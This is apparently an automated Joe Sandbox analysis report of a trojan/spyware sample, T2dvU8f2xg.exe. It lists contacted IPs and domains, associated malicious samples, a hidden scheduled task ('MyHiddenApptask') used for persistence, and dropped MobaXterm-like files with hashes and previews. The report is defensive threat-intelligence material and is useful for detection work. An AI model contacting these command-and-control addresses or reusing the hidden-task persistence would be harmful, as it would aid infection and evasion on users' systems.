https://secure.comodo.com/CPS0L	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2531410977.00000000FFCB7000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2218711056.0000000008530000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2270401553.000000000A1F7000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2627579283.00000000FFCB9000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219901140.0000000009009000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2219060773.0000000007E6E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.baraha.com/help/Keyboards/tel_brhkbd.htm	T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html#	T2dvU8f2xg.exe	false		high
http://scripts.sil.org/OFL	T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.neti	T2dvU8f2xg.exe, 00000000.00000002.4143689022.000000000B390000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/primer/octicons)	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2250122652.0000000009891000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2284143232.0000000009C4D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2255351961.0000000009941000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2244974221.00000000097E1000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A15C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://154.19.200.133:80871Y%	T2dvU8f2xg.exe, 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0D	T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDECD000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2331108973.0000000007675000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.000000000A209000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2326870442.00000000FFA40000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2258859710.00000000099D8000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4118659117.0000000009C78000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.4086544758.0000000005E40000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.19.200.133	unknown	United States	132146	RICHTOPEC-AS-APRichTopECLimitedHK	false
107.148.62.100	unknown	United States	54600	PEGTECHINCUS	false
107.148.51.200	61xdm.com	United States	54600	PEGTECHINCUS	false
118.107.29.172	scrt1.nyazz.com	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577424
Start date and time:	2024-12-18 13:34:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T2dvU8f2xg.exe renamed because original name is a hash value
Original Sample Name:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2.exe
Detection:	MAL
Classification:	mal84.troj.spyw.evad.winEXE@12/723@3/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.16.158.27, 2.16.158.185, 2.16.158.26, 2.16.158.186, 2.16.158.179, 2.16.158.33, 2.16.158.176, 2.16.158.192, 2.16.158.187, 20.190.147.4, 20.223.36.55, 13.107.246.63, 4.175.87.197, 23.35.236.109
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, tse1.mm.bing.net, arc.msn.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: T2dvU8f2xg.exe

Simulations

Behavior and APIs

Time	Type	Description
13:36:06	Task Scheduler	Run new task: MyHiddenApptask path: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
107.148.62.100	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
	O16AWEA5iQ.exe	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
107.148.51.200	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse
	O16AWEA5iQ.exe	Get hash	malicious	Unknown	Browse
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse
118.107.29.172	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
scrt1.nyazz.com	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PEGTECHINCUS	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	O16AWEA5iQ.exe	Get hash	malicious	Unknown	Browse	107.148.51.200
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	107.148.62.100
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse	156.239.140.243
	elitebotnet.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	108.186.11.63
	b3astmode.sh4.elf	Get hash	malicious	Mirai	Browse	156.247.76.135
RICHTOPEC-AS-APRichTopECLimitedHK	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	154.19.248.89
	m68k.elf	Get hash	malicious	Unknown	Browse	154.19.41.58
	armv7l.elf	Get hash	malicious	Unknown	Browse	154.19.144.155
	instacai-.exe	Get hash	malicious	GhostRat	Browse	154.19.162.131
	instacai-.exe	Get hash	malicious	GhostRat	Browse	154.19.162.131
	7Y18r(99).msi	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.19.85.12
	#U7f51#U7edc#U670d#U52a1#U6a21#U5757_v1.0.0.msi	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.19.85.12
	http://x3mib9.xyz/	Get hash	malicious	Unknown	Browse	154.19.167.207
	WindowsProgram.msi	Get hash	malicious	Unknown	Browse	154.19.85.129
PEGTECHINCUS	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	O16AWEA5iQ.exe	Get hash	malicious	Unknown	Browse	107.148.51.200
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	107.148.62.100
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse	156.239.140.243
	elitebotnet.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	108.186.11.63
	b3astmode.sh4.elf	Get hash	malicious	Mirai	Browse	156.247.76.135

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	118.107.29.172
	z68scancopy.vbs	Get hash	malicious	FormBook	Browse	118.107.29.172
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles	crt32s.dll	Get hash	malicious	Ursnif	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22998363
Entropy (8bit):	5.855542002935661
Encrypted:	false
SSDEEP:	196608:7J4Hvn01nopKM8POZjcDJ5tASic6bcyDb:cvnaopKVscDFFic6bcyDb
MD5:	074ED5F745FD9A2EF6F29FD2D9AFB07A
SHA1:	86A99DC6671F246AAE0C45F9AC678D5604A237F7
SHA-256:	F89541C6B15925915CB3BBA6E812FF868C99FFDA7581C866EC9DFB6B4EA1507F
SHA-512:	1629A50C06B2FABE1F911C4997727D4963BF1A99A1949507D1F6FE46657AA1000F28A9000B32C202DE4C3410315D1CB1823FE512CECB3750C8906D5C5392EE6D
Malicious:	false
Yara Hits:	Rule: OlympicDestroyer_1, Description: OlympicDestroyer Payload, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MobServe[1].exe, Author: kevoreilly
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........\T..>....&.....H@..&y................@.............................@Z.....k._...`... ......................................p}.Y.....}..............`v..u............}............................. (v.(...................p.}.0............................text....G@......H@.................`..`.data....H...`@..J...N@.............@....rdata.. .1...D...1...D.............@..@/4...........Pv......4v.............@....pdata...u...`v..v...6v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......8x.............@....tls..........}......:x.............@....reloc........}......<x.............@..B/14...........~......,y.............@..B/29.......K...~...K..0y.............@..B/41.....'.......,...:..............@..B/55.....

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3276704
Entropy (8bit):	6.755925658948853
Encrypted:	false
SSDEEP:	49152:NSfeDfjWld2qHX9Z2nZrqX+058sZIV3Fe0jLsCr+O65WsChLRa5LsC1T:NbWfHD2ZuX+C8sZcVeqcOWyRKz
MD5:	EE9F4984F439262326D37454EDFADD46
SHA1:	60E43595BF98AFD0B3A85AD8BD74F6774AC76D10
SHA-256:	210FC269B57718191DFF55A74DF864EB12AEDAAAF81B5707FFFBC9E57562A76C
SHA-512:	8B51EF8DAA060D3730621238E6E40F82054A8EEFEE928F091FF11CF0550DB94E31BEDE5D424849735EC317F7CD4ED7F85114B853EDF727BEEE8069EFF4A659A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.............................1...................@.......................... 3.......2....... ..............................0..d/......8. ...........1..)..........................................................t7...............................text...T...........................`.P`.data...............................@.0..rdata..`".......$..................@.`@.bss.........0........................`..idata..d/...0...0..................@.0..CRT....8....`.......4..............@.0..tls.........p.......6..............@.0..rsrc...8. ....... ..8..............@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.149115932629127
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIKVDIAf8Un:AM7BXmkXRjikfHdOpRLMWAVEh
MD5:	77F75C76BE8DA61C4475116075D887EE
SHA1:	24382C18A9F45F75808DA21F33D8CC467197C0B5
SHA-256:	5CDF1C3A66BB32C88CB0441A3477E3D5BB798ACDD184DF128EF1C563BF13E2C5
SHA-512:	A971569E1892C992C1738D2846EB3AC39D46D5AABBAA7297CA2C9143A97B5D32882D82A9226F813C7401D5BF99CBA41766ACE615D6EAD6DAED3E097ACBEC6E87
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: crt32s.dll, Detection: malicious, Browse
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -compfiles "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.146581496056875
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIKVDTkg8Un:AM7BXmkXRjikfHdOpRLMWAVxgh
MD5:	19D720BAE0451EE46D291BAD9014F228
SHA1:	DEADFEAC1145E71B69383A906DF5DF1A243BFDF2
SHA-256:	9C63292853DD0FD440B78EA6D09E5DA28D10A30E049176485F5E7401F1274F6C
SHA-512:	1A59EAAFD838C28142F089BE0BBA65299F3FC451A05DFD1FE19D84D60418EE308900F898B1850E0CAC70F1F705612884D2D5D9316B0EED320C1F6D21B76BF3D0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -compfolders "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaGitEditor

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.112188875144617
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIpABNBd8Un:AM7BXmkXRjikfHdOpRLMWAVpkth
MD5:	0ABFCB480F550381151B4D1F0121D093
SHA1:	AD8D1EFC9F42A4673817777430E97C432CA719EE
SHA-256:	62440926EF3D659F51B6E5340CFCA39A8E633CED17AC0E270403F719CE32755B
SHA-512:	F9D9E93D34CC3B4E36DCF54A4E8BD380275252A0071AE542DBB89FFC4E265F47F3F85CF45BE079ADA6102C49CB98D73D60A0AAC6F63D12852782A6B3F69118EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -gitedit "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaListPorts

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.1304683912115125
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIDHoog8Un:AM7BXmkXRjikfHdOpRLMWAVDHoogh
MD5:	BC32355ECB78CAC7589E9EB70632097C
SHA1:	12736D5CC2A47325DB4373C78C58BD735894C904
SHA-256:	52470DA1497B8D81FAC8CCFAA33FE2762F83020E4E125A1B8339EED63214A788
SHA-512:	13F3EFB3A9E5FAFE512131A6B61A2644EE3E5696E65A4865B194AF64F159823407D46E86074639C91DF28C1C8882724B3EB990133CD81D5C011936AD46A4A411
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -listports "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaPictureViewer

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.144599316346541
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIxTMNW8Un:AM7BXmkXRjikfHdOpRLMWAVVMNWh
MD5:	9C84887743F83C4C201D0598A10D105E
SHA1:	F96CC6EF2D19D4871C81E8530D938E1EBEC74FCD
SHA-256:	CEAD5B35BCBFAE27C519D071437B65E04B131DEF99D8366B523017EC858F6B9F
SHA-512:	25F706D2F4B4F7DD9DB95895CFC83FC07DFB6168F14183082F5569E27BAE53982EB7798D803BCB2408BA132891D6EA305C17EE7F325FF1223398457EECDD7832
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -picview "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaTextEditor

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	167
Entropy (8bit):	5.11406005417764
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIF7oBd8Un:AM7BXmkXRjikfHdOpRLMWAVFqh
MD5:	18DC0C2246F8F9DACCB18B2D16FB2F47
SHA1:	61DF0FEDB500E93A970C17523CA84F21A0868718
SHA-256:	6119FEE0C96D1E88DF4B19DAAAD604E07288E68D55BEEDF8DEB6A7F82AAF01C8
SHA-512:	4CE516219DB7A3D9BE7A970223F9B686A372CCDC5178336662AA60A0F76E712251204F4023FC6431645BE345829F0AD5352C6BCE512327FA75693EB50A41DDAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -edit "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	17422
Entropy (8bit):	5.223074079013047
Encrypted:	false
SSDEEP:	192:Il6xH674/FpcpDHNEoi/NtRUQQtm44idI5Yo699u9Bfi7/7RNCszO:P56eIjm/vRxiSQySzRNCWO
MD5:	0CCF0586ED2B214AD7F5FB049C7609B6
SHA1:	C95B1EB247FAF599C79C78FE9384775CF77F843F
SHA-256:	73859CA04CE7EABBA812ACABEED3FC9759B3733E09B9AEEC1A64994F9D48F34F
SHA-512:	F7B5A8E1D624580E53C5C64B9DA4E401E27C211D60F78638CB5FDFE3F646B461FEC7D4805D87F3AFC76550E23661A40E6FFEBFEF63D9B3839FF1BCFCA869063A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."yes.D...................@...............0....@.......................................... ..............................p..$...................................................................................,q...............................text...............................`.P`.data...8....0......................@.0..rdata..H....@....... ..............@.0@/4...........P.......(..............@.0@.bss....D....`........................p..idata..$....p.......2..............@.0..CRT....4............:..............@.0..tls.... ............<..............@.0..rsrc................>..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3455928
Entropy (8bit):	6.457598899974273
Encrypted:	false
SSDEEP:	49152:Yczv1abbuqwOaK9mkvQT4HQI/OPEWOpJp/HtdhJf0HiYGrvpkLUpL/:YW1ebuqlnmkvQsHQI/OPEWOpHZSlnUpr
MD5:	6F1143FB1F02C715CBEF79C271A7E4B6
SHA1:	87701DB303C14051857D9207278CA97ABC896940
SHA-256:	F67826E3E8992F26AA951401E6978F1FDDAE707F9FBBD5C423646F0A8B594F0F
SHA-512:	E64B5B5584B853C122C36E79AFC6476E92C122440532D170DF8E425D8CC83E3D2891FD77B63BDD1C4DEBAE2344AEBF45E6A5B74248A9C976F8A2758762E4BE34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)\Em..4...............&...4..d............&...@..........................`8.....n.4....... .......................3.L.....6..:....7..h............4..)...p7.X.............................6.......................6..............................text...h.&.......&.................`.P`.data...TQ....&..R....&.............@.p..rdata..8.....'.......&.............@.p@/4.......<......>.................@.0@.bss.....c....0.......................p..edata..L.....3......./.............@.0@.idata...:....6..<....2.............@.0..CRT....4.....6......83.............@.0..tls.... .....6......:3.............@.0..rsrc....h....7..j...<3.............@.0..reloc..X....p7.......3.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3452624
Entropy (8bit):	6.456442428629307
Encrypted:	false
SSDEEP:	98304:WNdaWWhvT90MSGmHUkC+UH9txcv0HGM62OQy:WNdaWWhvZ0MhmHUkxUH9tx1HA
MD5:	55076AFC8F8DE2DF8F91FB2742BCDA61
SHA1:	C848BB01E859163B08CE4F58994B3D814DFDF700
SHA-256:	E3CB1B8EDB969533E9299C4169B12DF17A01D7516DF943B486A785C986CEDA30
SHA-512:	70BF3D76B86B28AA4209A51469A4B2161C4253313849217B5E1267CB17F6279235B9ED18CD975AA48227401B48887F594B3BE149531750638091AFC51A425D26
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...les(..4...............&...4..d............&...@..........................p8.......4....... .......................3.......6..:....7.Xj............4.."....7.\.............................7.......................6..............................text...H.&.......&.................`.P`.data...TQ....&..R....&.............@.p..rdata........'.......&.............@.p@/4......h<......>.................@.0@.bss.....c... 0.......................p..edata........3......./.............@.0@.idata...:....6..<....2.............@.0..CRT....4.....6......63.............@.0..tls.... .....7......83.............@.0..rsrc...Xj....7..f...:3.............@.0..reloc..\.....7.......3.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3453080
Entropy (8bit):	6.454975620761296
Encrypted:	false
SSDEEP:	98304:XBniZd5fTuy+PcHtrpsniwTQ5+sVa08MS:XBniZd5fyy+PcHtraiwC+UK
MD5:	8F241E18469C12F7E2A611067F4AE018
SHA1:	E494B9AC99E5773837A7FE7E90C04997D9ABE989
SHA-256:	10479A6F2183A37747D22C138CA369760A6237004B36AD1C3CBF8B7B8D96A59F
SHA-512:	AD3BEA8256F3D1FDC41786D150DE4516D3794F0BF0511111C4F28591D50BAD081C23B29324667A743F538F7E57D755AA348877DCC587A07743A7F89549A9B52D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........4...............&...4..d............&...@..........................`8......M5....... .......................3.......6..:....7.hh............4.."...p7...............................6.......................6..............................text...(.&.......&.................`.P`.data...TQ....&..R....&.............@.p..rdata........'.......&.............@.p@/4.......<......>.................@.0@.bss.....c....0.......................p..edata........3......./.............@.0@.idata...:....6..<....2.............@.0..CRT....4.....6......43.............@.0..tls.... .....6......63.............@.0..rsrc...hh....7..j...83.............@.0..reloc.......p7.......3.............@.0B........................................................................................................................................................................................

